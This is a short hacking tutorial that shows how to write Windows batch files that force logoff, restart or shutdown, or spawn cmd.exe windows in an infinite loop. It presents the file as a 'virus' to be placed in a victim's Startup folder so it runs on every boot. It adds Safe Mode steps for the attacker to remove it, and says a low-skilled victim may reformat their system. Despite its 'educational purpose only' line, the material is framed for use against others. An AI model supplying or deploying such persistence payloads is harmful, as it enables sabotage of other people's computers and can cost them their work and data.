This tutorial is for educational purpose only.
First open notepad, (win+r and now type notepad and hit enter), now type this command,
Code is given below:
c:\windows\system32\shutdown -l
for logoff, or,
c:\windows\system32\shutdown -r -f -t 00
for restart, or,
c:\windows\system32\shutdown -s -f -t 00
for shutdown,
:x
start cmd.exe
goto x
to run cmd in infinite loop,
and save it with any name you want, for example srbunty.bat, use only one command per bat file.
Now, you have a virus.
The main work to do, place the virus to victim’s system.
You have to copy and paste this virus to its right location,(This is the most important, if you wont do it, it wont work and it is neutral now).
Open “My Computer” and write “startup” at the location/url bar and hit enter.
And, it will open system startup folder, paste bat file there.
And, now all done.
When the system get started, it will follow your given command.
Action will depend on your given command, like logoff, shutdown, or restart. You can test it yourself, but read the how to restore your system first.
How to restore your system:
If your victim have low knowledge then he/she will format and reinstall its os to get rid of it, but you can do it in just few seconds, just restart your system and at the boot screen type F8(Hold it), and it will ask some options, like last known good configuation, etc you will find an option there i.e. safe mode, start the system in safe mode and go the the system startup folder and delete your bat file.
Extension: .bat
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